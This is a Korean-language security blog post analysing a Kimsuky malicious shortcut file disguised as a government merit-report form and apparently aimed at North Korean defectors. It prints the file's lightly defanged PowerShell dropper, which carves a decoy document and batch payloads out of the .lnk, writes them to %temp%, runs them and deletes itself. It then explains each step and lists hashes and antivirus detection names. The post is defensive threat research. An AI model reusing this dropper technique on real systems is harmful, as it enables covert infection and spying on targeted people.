꿈을꾸는 파랑새

오늘은 Kimsuky(김수키)에서 만든 공적조서(개인,양식)로 위장한 악성코드인 공적 조서(개인,양식).lnk 에 대해 글을 적어보겠습니다.
일단 해당 악성코드는 lnk 파일 형식으로 돼 있으며 해당 악성코드를 열어 보면 PowerShell 로 동작을 합니다.

StringData
{
    namestring: 
    relativepath: not present
    workingdir: not present
    commandlinearguments: /k for /f "tok(e)ns=*" %a in 
    ('dir C:\Windows\SysW(o)w64\WindowsPowerS(h)ell\v1.0\*rshel(l).exe /s /b /od')
    do c(a)ll %a "$dirPath = Get-Locati(o)n; if($dirPath -Match 'Sys(t)em32'
    -or $dirPath -Ma(t)ch 'Program Files') {$dirPath = '%temp%'};$exs=@('(.)lnk')
    ;$lnkP(a)th = Get-ChildItem -Path $di(r)Path -Recurse *.* -(F)ile | where 
    {$_.exte(n)sion -in $exs} | whe(r)e-object {$_.len(g)th -eq 0x0DD(4)B11F} | 
    Selec(t)-Object -Ex(p)andProperty FullName ;($)lnkFile=New-(O)bject System.IO
    .Fil(e)Stream($lnkPath, [Sy(s)tem.IO.FileMode]::Ope(n), [System.(I)O.FileAccess]
    ::Read);$lnkFil(e).Seek(0x00(0)0111E, [System.IO(.)SeekOrigin]::Begin);$pdfFile=
    Ne(w)-Objec(t) byte[] 0x0000AD(3)6;$lnkFile.Read($pdfFile, 0, 0x0000(A)D36);$pdf
    Path = $l(n)kPath.replace('.lnk','(.)hwpx');sc $pdfPath $pdf(F)ile -Encodi(n)g B
    yte;& $pdfPath;($)lnkFile.Seek(0x000(0)BE54,[System.IO(.)SeekOrigin]::Begin);$ex
    (e)File=New-Object(b)yte[] 0x000D9190;$lnkFile.Read($exeFile, 0, 0x000D9190);$ex
    ePath=$env:temp+'\caption.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek
    (0x000E4FE4,[System.IO.SeekOr(i)gin]::Begin);$stringB(y)te = New-Object byte[] 0
    x00000636(;)$lnkFile.Read($str(i)ngByte, 0, 0x(0)0000636); $batSt(r)Path = $env:
    temp+'\'+'elephant(.)dat';$string = [System(.)Text.Encoding]::UTF8.GetString($st
    (r)ingByte);$string | Out-File (-)FilePath $batStrP(a)th -Encoding ascii;$lnkF(i
    )le.Seek(0x000E561A,[System.IO.SeekOrigin]::Begin);$batByte = New-Object byte[] 
    0x00000147;$lnkFile.Read($batByte, 0, 0x00000147);$executePath = $env:temp+'\'+'
    shark'(+)'e.b'(+)'a'(+)'t'; Write-Host $ex(e)cutePath; Write-Host $bat(S)trPath;
    $bast(S)tring = [System(.)Text.E(n)coding]::UTF8.Ge(t)String($batByte);$bastStri
    ng | (O)ut-File -FilePath $exec(u)tePath -Encoding (a)scii; &$executePath; $lnkF
    il(e).Close(); remove(-)item -path $lnkPath -force; "&& exit
    iconlocation: C:\Program Files (x86)\Hnc\Office 2018\HOffice100\Bin\Hwp.exe
}

악성코드 포함된 PowerShell 코드
악성코드 포함된 PowerShell 코드

코드 분석

PowerShell을 악용 하여 파일에서 HWP,악성 bat 데이터를 추출하고 이를 실행 파일 및 스크립트로 변환하고 실행
lnk 처리
스크립트는 dirPath 에서 확장자가 .lnk 이며 파일 크기가 0x0DD4B11F (231,251,615 바이트)을 찾음
2.lnk 파일 내 데이터 추출
.lnk 파일의 특정 오프셋에서 0x0000AD36 (44,982바이트)크기의 데이터를 읽어오고 나서 $pdfFile 변수에 저장
데이터는 .hwpx 파일로 저장되며 스크립트가 실행 파일로 위장하는 것이 특징 
$pdfPath 변수에 .hwpx 확장자로 저장되고 실행
해당 파일은 공적조서(개인,양식) 인 것처럼 돼 있으며 사용자를 속이는 역할을 합니다.
3. 추가 실행 파일 생성
.lnk 파일 내 또 다른 오프셋 0x000D9190 (889,488 바이트) 크기의 데이터를 읽어와 $exeFile에 저장하고 caption.dat 라는 이름의 파일로 생성
4.bat 파일 생성 및 실행
lnk 파일에서 0x00000636 (1,590 바이트) 크기의 문자열 데이터를 읽어 와서 elephant.dat 파일에 저장
5.임시 bat 파일 생성 및 실행
추가로 0x00000147 (327 바이트) 크기의 데이터를 읽어와 새로운 bat 파일 (sharke.bat)을 생성하고 실행
C:\Users\user\AppData\Local\Temp 폴더에 elephant.dat,sharke.bat,caption.dat 파일들이 생성되는 것을 확인을 할수가 있으며 다음과 같은 스크립트가 포함돼 있습니다.

공적 조서 악성코드 내용
공적 조서 악성코드 내용

코드 분석

임시 디렉터리(%temp%)에 생성된 elephant.dat 파일에 포함된 내용을 동적으로 읽어와 PowerShell에서 실시간으로 해석 및 실행을 하는 기능 합니다.
악성코드 내에서 추천 훈 격에서 통일부인 것을 보면 탈북민 또는 대북 관계자 분들을 대상으로 하는 것을 추측할 수가 있을 것입니다.

악성코드 가 생성한 파일
악성코드 가 생성한 파일

I.O.C

파일명:공적조서(개인, 양식).lnk
사이즈:232,042,783 Bytes
MD5:5adfa76b72236bf017f7968fd012e968
SHA-1:5f0d09853fb459500237105201bbf33c09da2126
SHA-256:7df7ad7b88887a06b559cd453e7b65230d0cccff1a403328a521d8753000c6c9
2024-12-10 09:38:11 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Dropper/LNK.Generic.S2898
AliCloud:Trojan:Win/Pantera.DS8PHU
ALYac:Trojan.Agent.LNK.Gen
Arcabit:Heur.BZC.YAX.Pantera.190.70510FBD
Avast:LNK:Agent-HN [Trj]
AVG:LNK:Agent-HN [Trj]
Avira (no cloud):LNK/Susp.Gen
BitDefender:Heur.BZC.YAX.Pantera.190.70510FBD
CTX:Lnk.trojan.pantera
Cynet;Malicious (score: 99)
Emsisoft:Heur.BZC.YAX.Pantera.190.70510FBD (B)
ESET-NOD32:LNK/Agent.AGF
Fortinet:LNK/Agent.AGF!tr
GData:Heur.BZC.YAX.Pantera.190.70510FBD
Google:Detected
Huorong:Trojan/LNK.Boxter.c
Kaspersky:HEUR:Trojan.WinLNK.Powecod.c
Microsoft:Trojan:Win32/Pantera.DT!MTB
Rising:Trojan.Agent/LNK!1.AA03 (CLASSIC)
SentinelOne (Static ML):Static AI - Suspicious LNK
Skyhigh (SWG):BehavesLike.Dropper.tx
Sophos:Troj/LnkObf-AH
Symantec:Scr.Mallnk!gen13
Tencent:Win32.Trojan.Powecod.Aujl
Trellix (HX):Heur.BZC.YAX.Pantera.190.70510FBD
VBA32:Trojan.Link.Crafted
VIPRE:Heur.BZC.YAX.Pantera.190.70510FBD
WithSecure:Malware.LNK/Susp.Gen
항상 기본적인 보안 수칙을 지키는 것이 안전하게 컴퓨터를 사용하는 방법일 것입니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band